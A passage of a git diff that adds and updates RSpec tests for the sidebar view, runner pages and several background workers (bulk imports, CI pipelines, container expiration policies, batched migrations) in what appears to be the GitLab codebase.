--- /dev/null
+++ b/spec/views/shared/nav/_sidebar.html.haml_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'shared/nav/_sidebar.html.haml' do
+ let(:project) { build(:project, id: non_existing_record_id) }
+ let(:context) { Sidebars::Projects::Context.new(current_user: nil, container: project)}
+ let(:sidebar) { Sidebars::Projects::Panel.new(context) }
+
+ before do
+ assign(:project, project)
+ assign(:sidebar, sidebar)
+
+ allow(sidebar).to receive(:renderable_menus).and_return([])
+ end
+
+ context 'when sidebar has a scope menu' do
+ it 'renders the scope menu' do
+ render
+
+ expect(rendered).to render_template('shared/nav/_scope_menu')
+ end
+ end
+
+ context 'when sidebar does not have a scope menu' do
+ let(:scope_menu_view_path) { 'shared/nav/' }
+ let(:scope_menu_view_name) { 'scope_menu.html.haml' }
+ let(:scope_menu_view) { "#{scope_menu_view_path}#{scope_menu_view_name}" }
+ let(:scope_menu_partial) { "#{scope_menu_view_path}_#{scope_menu_view_name}" }
+ let(:content) { 'Custom test content' }
+
+ context 'when sidebar has a custom scope menu partial defined' do
+ it 'renders the custom partial' do
+ allow(sidebar).to receive(:render_raw_scope_menu_partial).and_return(scope_menu_view)
+ allow(sidebar).to receive(:scope_menu).and_return(nil)
+ stub_template(scope_menu_partial => content)
+
+ render
+
+ expect(rendered).to have_text(content)
+ end
+ end
+ end
+end
diff --git a/spec/views/shared/runners/show.html.haml_spec.rb b/spec/views/shared/runners/show.html.haml_spec.rb
index 5e2812eb48a..91a6a31daae 100644
--- a/spec/views/shared/runners/show.html.haml_spec.rb
+++ b/spec/views/shared/runners/show.html.haml_spec.rb
@@ -34,19 +34,19 @@ RSpec.describe 'shared/runners/show.html.haml' do
describe 'Runner id and type' do
context 'when runner is of type instance' do
- it { is_expected.to have_content("Runner ##{runner.id} Shared") }
+ it { is_expected.to have_content("Runner ##{runner.id} shared") }
end
context 'when runner is of type group' do
let(:runner) { create(:ci_runner, :group) }
- it { is_expected.to have_content("Runner ##{runner.id} Group") }
+ it { is_expected.to have_content("Runner ##{runner.id} group") }
end
context 'when runner is of type project' do
let(:runner) { create(:ci_runner, :project) }
- it { is_expected.to have_content("Runner ##{runner.id} Specific") }
+ it { is_expected.to have_content("Runner ##{runner.id} specific") }
end
end
diff --git a/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb b/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb
index a27c431523e..0501fc3b8cf 100644
--- a/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb
+++ b/spec/workers/authorized_project_update/user_refresh_over_user_range_worker_spec.rb
@@ -3,16 +3,67 @@
require 'spec_helper'
RSpec.describe AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker do
- let(:start_user_id) { 42 }
- let(:end_user_id) { 4242 }
+ let(:project) { create(:project) }
+ let(:user) { project.namespace.owner }
+ let(:start_user_id) { user.id }
+ let(:end_user_id) { start_user_id }
+ let(:execute_worker) { subject.perform(start_user_id, end_user_id) }
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ feature_flag: :periodic_project_authorization_update_via_replica,
+ data_consistency: :delayed
describe '#perform' do
- it 'calls AuthorizedProjectUpdate::RecalculateForUserRangeService' do
- expect_next_instance_of(AuthorizedProjectUpdate::RecalculateForUserRangeService) do |service|
- expect(service).to receive(:execute)
+ context 'when the feature flag `periodic_project_authorization_update_via_replica` is enabled' do
+ before do
+ stub_feature_flags(periodic_project_authorization_update_via_replica: true)
+ end
+
+ context 'checks if project authorization update is required' do
+ it 'checks if a project_authorization refresh is needed for each of the users' do
+ User.where(id: start_user_id..end_user_id).each do |user|
+ expect(AuthorizedProjectUpdate::FindRecordsDueForRefreshService).to(
+ receive(:new).with(user).and_call_original)
+ end
+
+ execute_worker
+ end
+ end
+
+ context 'when there are project authorization records due for either removal or addition for a specific user' do
+ before do
+ user.project_authorizations.delete_all
+ end
+
+ it 'enqueues a new project authorization update job for the user' do
+ expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to receive(:perform_async).with(user.id)
+
+ execute_worker
+ end
end
- subject.perform(start_user_id, end_user_id)
+ context 'when there are no additions or removals to be made to project authorizations for a specific user' do
+ it 'does not enqueue a new project authorization update job for the user' do
+ expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).not_to receive(:perform_async)
+
+ execute_worker
+ end
+ end
+ end
+
+ context 'when the feature flag `periodic_project_authorization_update_via_replica` is disabled' do
+ before do
+ stub_feature_flags(periodic_project_authorization_update_via_replica: false)
+ end
+
+ it 'calls AuthorizedProjectUpdate::RecalculateForUserRangeService' do
+ expect_next_instance_of(AuthorizedProjectUpdate::RecalculateForUserRangeService, start_user_id, end_user_id) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ execute_worker
+ end
end
end
end
diff --git a/spec/workers/background_migration_worker_spec.rb b/spec/workers/background_migration_worker_spec.rb
index 8094efcaf04..4575c270042 100644
--- a/spec/workers/background_migration_worker_spec.rb
+++ b/spec/workers/background_migration_worker_spec.rb
@@ -101,7 +101,7 @@ RSpec.describe BackgroundMigrationWorker, :clean_gitlab_redis_shared_state do
it 'sets the class that will be executed as the caller_id' do
expect(Gitlab::BackgroundMigration).to receive(:perform) do
- expect(Labkit::Context.current.to_h).to include('meta.caller_id' => 'Foo')
+ expect(Gitlab::ApplicationContext.current).to include('meta.caller_id' => 'Foo')
end
worker.perform('Foo', [10, 20])
diff --git a/spec/workers/build_finished_worker_spec.rb b/spec/workers/build_finished_worker_spec.rb
index 6d040f83dc7..5aca5d68677 100644
--- a/spec/workers/build_finished_worker_spec.rb
+++ b/spec/workers/build_finished_worker_spec.rb
@@ -6,10 +6,8 @@ RSpec.describe BuildFinishedWorker do
subject { described_class.new.perform(build.id) }
describe '#perform' do
- let(:build) { create(:ci_build, :success, pipeline: create(:ci_pipeline)) }
-
context 'when build exists' do
- let!(:build) { create(:ci_build) }
+ let_it_be(:build) { create(:ci_build, :success, pipeline: create(:ci_pipeline)) }
before do
expect(Ci::Build).to receive(:find_by).with(id: build.id).and_return(build)
@@ -30,6 +28,30 @@ RSpec.describe BuildFinishedWorker do
subject
end
+
+ context 'when build is failed' do
+ before do
+ build.update!(status: :failed)
+ end
+
+ it 'adds a todo' do
+ expect(::Ci::MergeRequests::AddTodoWhenBuildFailsWorker).to receive(:perform_async)
+
+ subject
+ end
+ end
+
+ context 'when build has a chat' do
+ before do
+ build.pipeline.update!(source: :chat)
+ end
+
+ it 'schedules a ChatNotification job' do
+ expect(ChatNotificationWorker).to receive(:perform_async).with(build.id)
+
+ subject
+ end
+ end
end
context 'when build does not exist' do
@@ -38,15 +60,5 @@ RSpec.describe BuildFinishedWorker do
.not_to raise_error
end
end
-
- context 'when build has a chat' do
- let(:build) { create(:ci_build, :success, pipeline: create(:ci_pipeline, source: :chat)) }
-
- it 'schedules a ChatNotification job' do
- expect(ChatNotificationWorker).to receive(:perform_async).with(build.id)
-
- subject
- end
- end
end
end
diff --git a/spec/workers/build_hooks_worker_spec.rb b/spec/workers/build_hooks_worker_spec.rb
index aefbd7e590e..7e469958a84 100644
--- a/spec/workers/build_hooks_worker_spec.rb
+++ b/spec/workers/build_hooks_worker_spec.rb
@@ -22,4 +22,9 @@ RSpec.describe BuildHooksWorker do
end
end
end
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ feature_flag: :load_balancing_for_build_hooks_worker,
+ data_consistency: :delayed
end
diff --git a/spec/workers/bulk_import_worker_spec.rb b/spec/workers/bulk_import_worker_spec.rb
index 8cf14ed6f8b..5964ec45563 100644
--- a/spec/workers/bulk_import_worker_spec.rb
+++ b/spec/workers/bulk_import_worker_spec.rb
@@ -4,10 +4,6 @@ require 'spec_helper'
RSpec.describe BulkImportWorker do
describe '#perform' do
- before do
- stub_const("#{described_class}::DEFAULT_BATCH_SIZE", 1)
- end
-
context 'when no bulk import is found' do
it 'does nothing' do
expect(described_class).not_to receive(:perform_in)
@@ -59,10 +55,26 @@ RSpec.describe BulkImportWorker do
expect(bulk_import.reload.started?).to eq(true)
end
+ it 'creates all the required pipeline trackers' do
+ bulk_import = create(:bulk_import, :created)
+ entity_1 = create(:bulk_import_entity, :created, bulk_import: bulk_import)
+ entity_2 = create(:bulk_import_entity, :created, bulk_import: bulk_import)
+
+ expect { subject.perform(bulk_import.id) }
+ .to change(BulkImports::Tracker, :count)
+ .by(BulkImports::Stage.pipelines.size * 2)
+
+ expect(entity_1.trackers).not_to be_empty
+ expect(entity_2.trackers).not_to be_empty
+ end
+
context 'when there are created entities to process' do
it 'marks a batch of entities as started, enqueues BulkImports::EntityWorker and reenqueues' do
+ stub_const("#{described_class}::DEFAULT_BATCH_SIZE", 1)
+
bulk_import = create(:bulk_import, :created)
- (described_class::DEFAULT_BATCH_SIZE + 1).times { |_| create(:bulk_import_entity, :created, bulk_import: bulk_import) }
+ create(:bulk_import_entity, :created, bulk_import: bulk_import)
+ create(:bulk_import_entity, :created, bulk_import: bulk_import)
expect(described_class).to receive(:perform_in).with(described_class::PERFORM_DELAY, bulk_import.id)
expect(BulkImports::EntityWorker).to receive(:perform_async)
diff --git a/spec/workers/bulk_imports/entity_worker_spec.rb b/spec/workers/bulk_imports/entity_worker_spec.rb
index cd9a6f605b9..deae15a3ca2 100644
--- a/spec/workers/bulk_imports/entity_worker_spec.rb
+++ b/spec/workers/bulk_imports/entity_worker_spec.rb
@@ -3,51 +3,107 @@
require 'spec_helper'
RSpec.describe BulkImports::EntityWorker do
- describe '#execute' do
- let(:bulk_import) { create(:bulk_import) }
-
- context 'when started entity exists' do
- let(:entity) { create(:bulk_import_entity, :started, bulk_import: bulk_import) }
-
- it 'executes BulkImports::Importers::GroupImporter' do
- expect(BulkImports::Importers::GroupImporter).to receive(:new).with(entity).and_call_original
+ let_it_be(:entity) { create(:bulk_import_entity) }
+
+ let_it_be(:pipeline_tracker) do
+ create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: 'Stage0::Pipeline',
+ stage: 0
+ )
+ end
- subject.perform(entity.id)
- end
+ it 'enqueues the first stage pipelines work' do
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: nil
+ )
+ end
- it 'sets jid' do
- jid = 'jid'
+ expect(BulkImports::PipelineWorker)
+ .to receive(:perform_async)
+ .with(
+ pipeline_tracker.id,
+ pipeline_tracker.stage,
+ entity.id
+ )
- allow(subject).to receive(:jid).and_return(jid)
+ subject.perform(entity.id)
+ end
- subject.perform(entity.id)
+ it 'do not enqueue a new pipeline job if the current stage still running' do
+ expect(BulkImports::PipelineWorker)
+ .not_to receive(:perform_async)
- expect(entity.reload.jid).to eq(jid)
- end
+ subject.perform(entity.id, 0)
+ end
- context 'when exception occurs' do
- it 'tracks the exception & marks entity as failed' do
- allow(BulkImports::Importers::GroupImporter).to receive(:new) { raise StandardError }
+ it 'enqueues the next stage pipelines when the current stage is finished' do
+ next_stage_pipeline_tracker = create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: 'Stage1::Pipeline',
+ stage: 1
+ )
+
+ pipeline_tracker.fail_op!
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: 0
+ )
+ end
- expect(Gitlab::ErrorTracking)
- .to receive(:track_exception)
- .with(kind_of(StandardError), bulk_import_id: bulk_import.id, entity_id: entity.id)
+ expect(BulkImports::PipelineWorker)
+ .to receive(:perform_async)
+ .with(
+ next_stage_pipeline_tracker.id,
+ next_stage_pipeline_tracker.stage,
+ entity.id
+ )
- subject.perform(entity.id)
+ subject.perform(entity.id, 0)
+ end
- expect(entity.reload.failed?).to eq(true)
- end
- end
+ it 'logs and tracks the raised exceptions' do
+ exception = StandardError.new('Error!')
+
+ expect(BulkImports::PipelineWorker)
+ .to receive(:perform_async)
+ .and_raise(exception)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: nil
+ )
+
+ expect(logger)
+ .to receive(:error)
+ .with(
+ worker: described_class.name,
+ entity_id: entity.id,
+ current_stage: nil,
+ error_message: 'Error!'
+ )
end
- context 'when started entity does not exist' do
- it 'does not execute BulkImports::Importers::GroupImporter' do
- entity = create(:bulk_import_entity, bulk_import: bulk_import)
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(exception, entity_id: entity.id)
- expect(BulkImports::Importers::GroupImporter).not_to receive(:new)
-
- subject.perform(entity.id)
- end
- end
+ subject.perform(entity.id)
end
end
diff --git a/spec/workers/bulk_imports/pipeline_worker_spec.rb b/spec/workers/bulk_imports/pipeline_worker_spec.rb
new file mode 100644
index 00000000000..27151177634
--- /dev/null
+++ b/spec/workers/bulk_imports/pipeline_worker_spec.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::PipelineWorker do
+ let(:pipeline_class) do
+ Class.new do
+ def initialize(_); end
+
+ def run; end
+ end
+ end
+
+ let_it_be(:entity) { create(:bulk_import_entity) }
+
+ before do
+ stub_const('FakePipeline', pipeline_class)
+ end
+
+ it 'runs the given pipeline successfully' do
+ pipeline_tracker = create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: 'FakePipeline'
+ )
+
+ expect(BulkImports::Stage)
+ .to receive(:pipeline_exists?)
+ .with('FakePipeline')
+ .and_return(true)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ worker: described_class.name,
+ pipeline_name: 'FakePipeline',
+ entity_id: entity.id
+ )
+ end
+
+ expect(BulkImports::EntityWorker)
+ .to receive(:perform_async)
+ .with(entity.id, pipeline_tracker.stage)
+
+ expect(subject).to receive(:jid).and_return('jid')
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+
+ pipeline_tracker.reload
+
+ expect(pipeline_tracker.status_name).to eq(:finished)
+ expect(pipeline_tracker.jid).to eq('jid')
+ end
+
+ context 'when the pipeline cannot be found' do
+ it 'logs the error' do
+ pipeline_tracker = create(
+ :bulk_import_tracker,
+ :started,
+ entity: entity,
+ pipeline_name: 'FakePipeline'
+ )
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:error)
+ .with(
+ worker: described_class.name,
+ pipeline_tracker_id: pipeline_tracker.id,
+ entity_id: entity.id,
+ message: 'Unstarted pipeline not found'
+ )
+ end
+
+ expect(BulkImports::EntityWorker)
+ .to receive(:perform_async)
+ .with(entity.id, pipeline_tracker.stage)
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+ end
+ end
+
+ context 'when the pipeline raises an exception' do
+ it 'logs the error' do
+ pipeline_tracker = create(
+ :bulk_import_tracker,
+ entity: entity,
+ pipeline_name: 'InexistentPipeline'
+ )
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:error)
+ .with(
+ worker: described_class.name,
+ pipeline_name: 'InexistentPipeline',
+ entity_id: entity.id,
+ message: "'InexistentPipeline' is not a valid BulkImport Pipeline"
+ )
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(
+ instance_of(NameError),
+ entity_id: entity.id,
+ pipeline_name: pipeline_tracker.pipeline_name
+ )
+
+ expect(BulkImports::EntityWorker)
+ .to receive(:perform_async)
+ .with(entity.id, pipeline_tracker.stage)
+
+ expect(subject).to receive(:jid).and_return('jid')
+
+ subject.perform(pipeline_tracker.id, pipeline_tracker.stage, entity.id)
+
+ pipeline_tracker.reload
+
+ expect(pipeline_tracker.status_name).to eq(:failed)
+ expect(pipeline_tracker.jid).to eq('jid')
+ end
+ end
+end
diff --git a/spec/workers/ci/drop_pipeline_worker_spec.rb b/spec/workers/ci/drop_pipeline_worker_spec.rb
new file mode 100644
index 00000000000..5e626112520
--- /dev/null
+++ b/spec/workers/ci/drop_pipeline_worker_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::DropPipelineWorker do
+ include AfterNextHelpers
+
+ let(:pipeline) { create(:ci_pipeline, :running) }
+ let(:failure_reason) { :user_blocked }
+
+ describe '#perform' do
+ subject { described_class.new.perform(pipeline.id, failure_reason) }
+
+ it 'calls delegates to the service' do
+ expect_next(Ci::DropPipelineService).to receive(:execute).with(pipeline, failure_reason)
+
+ subject
+ end
+
+ it_behaves_like 'an idempotent worker' do
+ let!(:running_build) { create(:ci_build, :running, pipeline: pipeline) }
+ let!(:success_build) { create(:ci_build, :success, pipeline: pipeline) }
+
+ let(:job_args) { [pipeline.id, failure_reason] }
+
+ it 'executes the service', :aggregate_failures do
+ subject
+
+ expect(running_build.reload).to be_failed
+ expect(running_build.failure_reason).to eq(failure_reason.to_s)
+
+ expect(success_build.reload).to be_success
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/initial_pipeline_process_worker_spec.rb b/spec/workers/ci/initial_pipeline_process_worker_spec.rb
new file mode 100644
index 00000000000..5db9287fe96
--- /dev/null
+++ b/spec/workers/ci/initial_pipeline_process_worker_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::InitialPipelineProcessWorker do
+ describe '#perform' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :with_job, status: :created) }
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { pipeline.id }
+
+ it 'marks the pipeline as pending' do
+ expect(pipeline).to be_created
+
+ subject
+
+ expect(pipeline.reload).to be_pending
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/merge_requests/add_todo_when_build_fails_worker_spec.rb b/spec/workers/ci/merge_requests/add_todo_when_build_fails_worker_spec.rb
new file mode 100644
index 00000000000..4690c73d121
--- /dev/null
+++ b/spec/workers/ci/merge_requests/add_todo_when_build_fails_worker_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::MergeRequests::AddTodoWhenBuildFailsWorker do
+ describe '#perform' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, :detached_merge_request_pipeline) }
+ let_it_be(:job) { create(:ci_build, project: project, pipeline: pipeline, status: :failed) }
+
+ let(:job_args) { job.id }
+
+ subject(:perform_twice) { perform_multiple(job_args, exec_times: 2) }
+
+ include_examples 'an idempotent worker' do
+ it 'executes todo service' do
+ service = double
+ expect(::MergeRequests::AddTodoWhenBuildFailsService).to receive(:new).with(project, nil).and_return(service).twice
+ expect(service).to receive(:execute).with(job).twice
+
+ perform_twice
+ end
+ end
+
+ context 'when job does not exist' do
+ let(:job_args) { 0 }
+
+ it 'returns nil' do
+ expect(described_class.new.perform(job_args)).to eq(nil)
+ end
+ end
+
+ context 'when project does not exist' do
+ before do
+ job.update!(project_id: nil)
+ end
+
+ it 'returns nil' do
+ expect(described_class.new.perform(job_args)).to eq(nil)
+ end
+ end
+
+ context 'when pipeline does not exist' do
+ before do
+ job.update_attribute('pipeline_id', nil)
+ end
+
+ it 'returns nil' do
+ expect(described_class.new.perform(job_args)).to eq(nil)
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/pipeline_artifacts/expire_artifacts_worker_spec.rb b/spec/workers/ci/pipeline_artifacts/expire_artifacts_worker_spec.rb
index 2bdd8345374..ad9c08d02cb 100644
--- a/spec/workers/ci/pipeline_artifacts/expire_artifacts_worker_spec.rb
+++ b/spec/workers/ci/pipeline_artifacts/expire_artifacts_worker_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Ci::PipelineArtifacts::ExpireArtifactsWorker do
end
it 'executes a service' do
- expect_next_instance_of(::Ci::PipelineArtifacts::DestroyExpiredArtifactsService) do |instance|
+ expect_next_instance_of(::Ci::PipelineArtifacts::DestroyAllExpiredService) do |instance|
expect(instance).to receive(:execute)
end
diff --git a/spec/workers/ci/test_failure_history_worker_spec.rb b/spec/workers/ci/test_failure_history_worker_spec.rb
index d2896c08209..7530077d4ad 100644
--- a/spec/workers/ci/test_failure_history_worker_spec.rb
+++ b/spec/workers/ci/test_failure_history_worker_spec.rb
@@ -40,8 +40,8 @@ RSpec.describe ::Ci::TestFailureHistoryWorker do
subject
- expect(Ci::TestCase.count).to eq(2)
- expect(Ci::TestCaseFailure.count).to eq(2)
+ expect(Ci::UnitTest.count).to eq(2)
+ expect(Ci::UnitTestFailure.count).to eq(2)
end
end
end
diff --git a/spec/workers/concerns/worker_attributes_spec.rb b/spec/workers/concerns/worker_attributes_spec.rb
new file mode 100644
index 00000000000..a654ecbd3e2
--- /dev/null
+++ b/spec/workers/concerns/worker_attributes_spec.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe WorkerAttributes do
+ let(:worker) do
+ Class.new do
+ def self.name
+ "TestWorker"
+ end
+
+ include ApplicationWorker
+ end
+ end
+
+ describe '.data_consistency' do
+ context 'with valid data_consistency' do
+ it 'returns correct data_consistency' do
+ worker.data_consistency(:sticky)
+
+ expect(worker.get_data_consistency).to eq(:sticky)
+ end
+ end
+
+ context 'when data_consistency is not provided' do
+ it 'defaults to :always' do
+ expect(worker.get_data_consistency).to eq(:always)
+ end
+ end
+
+ context 'with invalid data_consistency' do
+ it 'raise exception' do
+ expect { worker.data_consistency(:invalid) }
+ .to raise_error('Invalid data consistency: invalid')
+ end
+ end
+
+ context 'when job is idempotent' do
+ context 'when data_consistency is not :always' do
+ it 'raise exception' do
+ worker.idempotent!
+
+ expect { worker.data_consistency(:sticky) }
+ .to raise_error("Class can't be marked as idempotent if data_consistency is not set to :always")
+ end
+ end
+
+ context 'when feature_flag is provided' do
+ before do
+ stub_feature_flags(test_feature_flag: false)
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+ end
+
+ it 'returns correct feature flag value' do
+ worker.data_consistency(:sticky, feature_flag: :test_feature_flag)
+
+ expect(worker.get_data_consistency_feature_flag_enabled?).not_to be_truthy
+ end
+ end
+ end
+ end
+
+ describe '.idempotent!' do
+ context 'when data consistency is not :always' do
+ it 'raise exception' do
+ worker.data_consistency(:sticky)
+
+ expect { worker.idempotent! }
+ .to raise_error("Class can't be marked as idempotent if data_consistency is not set to :always")
+ end
+ end
+ end
+end
diff --git a/spec/workers/concerns/worker_context_spec.rb b/spec/workers/concerns/worker_context_spec.rb
index 3de37b99aba..ebdb752d900 100644
--- a/spec/workers/concerns/worker_context_spec.rb
+++ b/spec/workers/concerns/worker_context_spec.rb
@@ -103,7 +103,7 @@ RSpec.describe WorkerContext do
describe '#with_context' do
it 'allows modifying context when the job is running' do
worker.new.with_context(user: build_stubbed(:user, username: 'jane-doe')) do
- expect(Labkit::Context.current.to_h).to include('meta.user' => 'jane-doe')
+ expect(Gitlab::ApplicationContext.current).to include('meta.user' => 'jane-doe')
end
end
diff --git a/spec/workers/container_expiration_policy_worker_spec.rb b/spec/workers/container_expiration_policy_worker_spec.rb
index d9a4f6396f8..2d5176e874d 100644
--- a/spec/workers/container_expiration_policy_worker_spec.rb
+++ b/spec/workers/container_expiration_policy_worker_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe ContainerExpirationPolicyWorker do
describe '#perform' do
subject { worker.perform }
- RSpec.shared_examples 'not executing any policy' do
+ shared_examples 'not executing any policy' do
it 'does not run any policy' do
expect(ContainerExpirationPolicyService).not_to receive(:new)
@@ -19,6 +19,21 @@ RSpec.describe ContainerExpirationPolicyWorker do
end
end
+ shared_examples 'handling a taken exclusive lease' do
+ context 'with exclusive lease taken' do
+ before do
+ stub_exclusive_lease_taken(worker.lease_key, timeout: 5.hours)
+ end
+
+ it 'does not do anything' do
+ expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).not_to receive(:perform_with_capacity)
+ expect(worker).not_to receive(:runnable_policies)
+
+ expect { subject }.not_to change { ContainerRepository.cleanup_scheduled.count }
+ end
+ end
+ end
+
context 'With no container expiration policies' do
it 'does not execute any policies' do
expect(ContainerRepository).not_to receive(:for_project_id)
@@ -27,66 +42,86 @@ RSpec.describe ContainerExpirationPolicyWorker do
end
end
- context 'with container expiration policies' do
- let_it_be(:container_expiration_policy) { create(:container_expiration_policy, :runnable) }
- let_it_be(:container_repository) { create(:container_repository, project: container_expiration_policy.project) }
+ context 'with throttling enabled' do
+ before do
+ stub_feature_flags(container_registry_expiration_policies_throttling: true)
+ end
- context 'with a valid container expiration policy' do
- it 'schedules the next run' do
- expect { subject }.to change { container_expiration_policy.reload.next_run_at }
+ context 'with loopless disabled' do
+ before do
+ stub_feature_flags(container_registry_expiration_policies_loopless: false)
end
- it 'marks the container repository as scheduled for cleanup' do
- expect { subject }.to change { container_repository.reload.cleanup_scheduled? }.from(false).to(true)
- expect(ContainerRepository.cleanup_scheduled.count).to eq(1)
- end
+ context 'with container expiration policies' do
+ let_it_be(:container_expiration_policy) { create(:container_expiration_policy, :runnable) }
+ let_it_be(:container_repository) { create(:container_repository, project: container_expiration_policy.project) }
- it 'calls the limited capacity worker' do
- expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).to receive(:perform_with_capacity)
+ before do
+ expect(worker).to receive(:with_runnable_policy).and_call_original
+ end
- subject
- end
- end
+ context 'with a valid container expiration policy' do
+ it 'schedules the next run' do
+ expect { subject }.to change { container_expiration_policy.reload.next_run_at }
+ end
- context 'with a disabled container expiration policy' do
- before do
- container_expiration_policy.disable!
- end
+ it 'marks the container repository as scheduled for cleanup' do
+ expect { subject }.to change { container_repository.reload.cleanup_scheduled? }.from(false).to(true)
+ expect(ContainerRepository.cleanup_scheduled.count).to eq(1)
+ end
- it 'does not run the policy' do
- expect(ContainerRepository).not_to receive(:for_project_id)
+ it 'calls the limited capacity worker' do
+ expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).to receive(:perform_with_capacity)
- expect { subject }.not_to change { ContainerRepository.cleanup_scheduled.count }
- end
- end
+ subject
+ end
+ end
- context 'with an invalid container expiration policy' do
- let(:user) { container_expiration_policy.project.owner }
+ context 'with a disabled container expiration policy' do
+ before do
+ container_expiration_policy.disable!
+ end
- before do
- container_expiration_policy.update_column(:name_regex, '*production')
- end
+ it 'does not run the policy' do
+ expect(ContainerRepository).not_to receive(:for_project_id)
- it 'disables the policy and tracks an error' do
- expect(ContainerRepository).not_to receive(:for_project_id)
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(instance_of(described_class::InvalidPolicyError), container_expiration_policy_id: container_expiration_policy.id)
+ expect { subject }.not_to change { ContainerRepository.cleanup_scheduled.count }
+ end
+ end
- expect { subject }.to change { container_expiration_policy.reload.enabled }.from(true).to(false)
- expect(ContainerRepository.cleanup_scheduled).to be_empty
+ context 'with an invalid container expiration policy' do
+ let(:user) { container_expiration_policy.project.owner }
+
+ before do
+ container_expiration_policy.update_column(:name_regex, '*production')
+ end
+
+ it 'disables the policy and tracks an error' do
+ expect(ContainerRepository).not_to receive(:for_project_id)
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(instance_of(described_class::InvalidPolicyError), container_expiration_policy_id: container_expiration_policy.id)
+
+ expect { subject }.to change { container_expiration_policy.reload.enabled }.from(true).to(false)
+ expect(ContainerRepository.cleanup_scheduled).to be_empty
+ end
+ end
end
- end
- end
- context 'with exclusive lease taken' do
- before do
- stub_exclusive_lease_taken(worker.lease_key, timeout: 5.hours)
+ it_behaves_like 'handling a taken exclusive lease'
end
- it 'does not execute any policy' do
- expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).not_to receive(:perform_with_capacity)
- expect(worker).not_to receive(:runnable_policies)
+ context 'with loopless enabled' do
+ before do
+ stub_feature_flags(container_registry_expiration_policies_loopless: true)
+ expect(worker).not_to receive(:with_runnable_policy)
+ end
- expect { subject }.not_to change { ContainerRepository.cleanup_scheduled.count }
+ it 'calls the limited capacity worker' do
+ expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).to receive(:perform_with_capacity)
+
+ subject
+ end
+
+ it_behaves_like 'handling a taken exclusive lease'
end
end
diff --git a/spec/workers/database/batched_background_migration_worker_spec.rb b/spec/workers/database/batched_background_migration_worker_spec.rb
new file mode 100644
index 00000000000..b13d1f5c7aa
--- /dev/null
+++ b/spec/workers/database/batched_background_migration_worker_spec.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Database::BatchedBackgroundMigrationWorker, '#perform', :clean_gitlab_redis_shared_state do
+ include ExclusiveLeaseHelpers
+
+ let(:worker) { described_class.new }
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(execute_batched_migrations_on_schedule: false)
+ end
+
+ it 'does nothing' do
+ expect(worker).not_to receive(:active_migration)
+ expect(worker).not_to receive(:run_active_migration)
+
+ worker.perform
+ end
+ end
+
+ context 'when the feature flag is enabled' do
+ before do
+ stub_feature_flags(execute_batched_migrations_on_schedule: true)
+
+ allow(Gitlab::Database::BackgroundMigration::BatchedMigration).to receive(:active_migration).and_return(nil)
+ end
+
+ context 'when no active migrations exist' do
+ it 'does nothing' do
+ expect(worker).not_to receive(:run_active_migration)
+
+ worker.perform
+ end
+ end
+
+ context 'when active migrations exist' do
+ let(:job_interval) { 5.minutes }
+ let(:lease_timeout) { 15.minutes }
+ let(:lease_key) { 'batched_background_migration_worker' }
